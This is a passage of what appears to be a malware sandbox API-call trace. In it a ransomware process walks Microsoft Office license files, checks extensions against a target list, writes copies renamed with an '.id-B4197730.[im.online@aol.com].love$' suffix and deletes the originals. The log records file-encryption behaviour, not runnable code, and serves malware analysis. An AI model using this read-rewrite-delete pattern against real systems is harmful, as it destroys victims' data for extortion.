Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0266.462] lstrlenW (lpString=".jpg") returned 4 [0266.462] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0266.462] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0266.462] lstrlenW (lpString="HomeStudentR_Trial-ppd.xrm-ms") returned 29 [0266.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0266.464] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=21727) returned 1 [0266.464] CloseHandle (hObject=0x4b0) returned 1 [0266.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms")) returned 0x220 [0266.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0266.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0266.465] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.465] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0266.467] GetLastError () returned 0x0 [0266.467] ReadFile (in: hFile=0x4b0, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x54df, lpOverlapped=0x0) returned 1 [0266.492] WriteFile (in: hFile=0x534, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x54e0, lpOverlapped=0x0) returned 1 [0266.507] ReadFile (in: hFile=0x4b0, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.507] WriteFile (in: hFile=0x534, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x10e, lpOverlapped=0x0) returned 1 [0266.507] SetEndOfFile (hFile=0x534) returned 1 [0266.507] CloseHandle (hObject=0x534) returned 1 [0266.511] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.511] SetEndOfFile (hFile=0x4b0) returned 1 [0266.901] CloseHandle (hObject=0x4b0) returned 1 [0266.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0267.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms")) returned 1 [0267.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0267.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0267.298] lstrlenW (lpString=".doc") returned 4 [0267.298] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0267.298] lstrlenW (lpString=".docx") returned 5 [0267.298] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0267.298] lstrlenW (lpString=".pdf") returned 4 [0267.298] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0267.298] lstrlenW (lpString=".xls") returned 4 [0267.298] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0267.299] lstrlenW (lpString=".xlsx") returned 5 [0267.299] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0267.299] lstrlenW (lpString=".ppt") returned 4 [0267.299] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0267.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0267.299] lstrlenW (lpString=".zip") returned 4 [0267.299] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0267.299] lstrlenW (lpString=".rar") returned 4 [0267.299] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0267.299] lstrlenW (lpString=".bz2") returned 4 [0267.299] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0267.299] lstrlenW (lpString=".7z") returned 3 [0267.299] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0267.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0267.299] lstrlenW (lpString=".dbf") returned 4 [0267.299] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0267.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0267.299] lstrlenW (lpString=".1cd") returned 4 [0267.299] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0267.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0267.299] lstrlenW (lpString=".jpg") returned 4 [0267.300] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0267.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0267.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0267.300] lstrlenW (lpString=".doc") returned 4 [0267.300] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0267.300] lstrlenW (lpString=".docx") returned 5 [0267.300] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0267.300] lstrlenW (lpString=".pdf") returned 4 [0267.300] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0267.300] lstrlenW (lpString=".xls") returned 4 [0267.300] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0267.300] lstrlenW (lpString=".xlsx") returned 5 [0267.300] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0267.300] lstrlenW (lpString=".ppt") returned 4 [0267.300] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0267.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0267.301] lstrlenW (lpString=".zip") returned 4 [0267.301] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0267.301] lstrlenW (lpString=".rar") returned 4 [0267.301] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0267.301] lstrlenW (lpString=".bz2") returned 4 [0267.301] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0267.301] lstrlenW (lpString=".7z") returned 3 [0267.301] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0267.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0267.301] lstrlenW (lpString=".dbf") returned 4 [0267.301] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0267.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0267.301] lstrlenW (lpString=".1cd") returned 4 [0267.301] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0267.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0267.301] lstrlenW (lpString=".jpg") returned 4 [0267.301] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0267.302] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0267.302] lstrlenW (lpString="MondoR_BypassTrial180-ppd.xrm-ms") returned 32 [0267.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0267.304] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=26538) returned 1 [0267.304] CloseHandle (hObject=0x3f4) returned 1 [0267.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0267.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0267.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0267.305] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.305] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0267.307] GetLastError () returned 0x0 [0267.307] ReadFile (in: hFile=0x3f4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x67aa, lpOverlapped=0x0) returned 1 [0267.311] WriteFile (in: hFile=0x534, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x67b0, lpOverlapped=0x0) returned 1 [0267.313] ReadFile (in: hFile=0x3f4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0267.314] WriteFile (in: hFile=0x534, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x114, lpOverlapped=0x0) returned 1 [0267.314] SetEndOfFile (hFile=0x534) returned 1 [0267.314] CloseHandle (hObject=0x534) returned 1 [0267.314] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.314] SetEndOfFile (hFile=0x3f4) returned 1 [0267.325] CloseHandle (hObject=0x3f4) returned 1 [0267.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0267.326] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms")) returned 1 [0267.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0267.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0267.328] lstrlenW (lpString=".doc") returned 4 [0267.328] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0267.328] lstrlenW (lpString=".docx") returned 5 [0267.610] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0267.610] lstrlenW (lpString=".pdf") returned 4 [0267.610] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0267.610] lstrlenW (lpString=".xls") returned 4 [0267.610] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0267.610] lstrlenW (lpString=".xlsx") returned 5 [0267.610] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0267.610] lstrlenW (lpString=".ppt") returned 4 [0267.610] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0267.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0267.610] lstrlenW (lpString=".zip") returned 4 [0267.611] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0267.611] lstrlenW (lpString=".rar") returned 4 [0267.611] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0267.611] lstrlenW (lpString=".bz2") returned 4 [0267.611] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0267.611] lstrlenW (lpString=".7z") returned 3 [0267.611] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0267.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0267.611] lstrlenW (lpString=".dbf") returned 4 [0267.611] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0267.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0267.611] lstrlenW (lpString=".1cd") returned 4 [0267.611] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0267.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0267.611] lstrlenW (lpString=".jpg") returned 4 [0267.611] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0267.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0267.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0267.611] lstrlenW (lpString=".doc") returned 4 [0267.611] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0267.611] lstrlenW (lpString=".docx") returned 5 [0267.612] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0267.612] lstrlenW (lpString=".pdf") returned 4 [0267.612] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0267.612] lstrlenW (lpString=".xls") returned 4 [0267.612] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0267.612] lstrlenW (lpString=".xlsx") returned 5 [0267.612] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0267.612] lstrlenW (lpString=".ppt") returned 4 [0267.612] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0267.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0267.612] lstrlenW (lpString=".zip") returned 4 [0267.612] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0267.612] lstrlenW (lpString=".rar") returned 4 [0267.612] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0267.612] lstrlenW (lpString=".bz2") returned 4 [0267.612] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0267.612] lstrlenW (lpString=".7z") returned 3 [0267.612] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0267.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0267.612] lstrlenW (lpString=".dbf") returned 4 [0267.612] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0267.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0267.612] lstrlenW (lpString=".1cd") returned 4 [0267.613] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0267.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0267.613] lstrlenW (lpString=".jpg") returned 4 [0267.613] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0267.613] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0267.613] lstrlenW (lpString="MondoR_KMS_Automation-ul.xrm-ms") returned 31 [0267.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0268.696] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=9613) returned 1 [0268.696] CloseHandle (hObject=0x564) returned 1 [0268.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms")) returned 0x220 [0268.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0268.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0268.697] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.697] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0268.700] GetLastError () returned 0x0 [0268.700] ReadFile (in: hFile=0x564, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x258d, lpOverlapped=0x0) returned 1 [0268.705] WriteFile (in: hFile=0x57c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2590, lpOverlapped=0x0) returned 1 [0268.707] ReadFile (in: hFile=0x564, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0268.707] WriteFile (in: hFile=0x57c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x112, lpOverlapped=0x0) returned 1 [0268.707] SetEndOfFile (hFile=0x57c) returned 1 [0268.707] CloseHandle (hObject=0x57c) returned 1 [0268.708] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.708] SetEndOfFile (hFile=0x564) returned 1 [0268.714] CloseHandle (hObject=0x564) returned 1 [0268.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0268.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms")) returned 1 [0268.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0268.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0268.718] lstrlenW (lpString=".doc") returned 4 [0268.718] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0268.718] lstrlenW (lpString=".docx") returned 5 [0268.718] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0268.718] lstrlenW (lpString=".pdf") returned 4 [0268.718] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0268.718] lstrlenW (lpString=".xls") returned 4 [0268.718] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0268.718] lstrlenW (lpString=".xlsx") returned 5 [0268.718] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0268.718] lstrlenW (lpString=".ppt") returned 4 [0268.718] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0268.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0268.718] lstrlenW (lpString=".zip") returned 4 [0268.719] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0268.719] lstrlenW (lpString=".rar") returned 4 [0268.719] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0268.719] lstrlenW (lpString=".bz2") returned 4 [0268.719] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0268.719] lstrlenW (lpString=".7z") returned 3 [0268.719] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0268.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0268.719] lstrlenW (lpString=".dbf") returned 4 [0268.719] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0268.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0268.719] lstrlenW (lpString=".1cd") returned 4 [0268.719] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0268.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0268.719] lstrlenW (lpString=".jpg") returned 4 [0268.719] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0268.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0268.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0268.720] lstrlenW (lpString=".doc") returned 4 [0268.720] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0268.720] lstrlenW (lpString=".docx") returned 5 [0268.720] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0268.720] lstrlenW (lpString=".pdf") returned 4 [0268.720] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0268.720] lstrlenW (lpString=".xls") returned 4 [0268.720] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0268.720] lstrlenW (lpString=".xlsx") returned 5 [0268.720] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0268.720] lstrlenW (lpString=".ppt") returned 4 [0268.722] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0268.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0268.722] lstrlenW (lpString=".zip") returned 4 [0268.722] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0268.722] lstrlenW (lpString=".rar") returned 4 [0268.722] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0268.722] lstrlenW (lpString=".bz2") returned 4 [0268.722] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0268.722] lstrlenW (lpString=".7z") returned 3 [0268.722] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0268.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0268.722] lstrlenW (lpString=".dbf") returned 4 [0268.722] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0268.722] 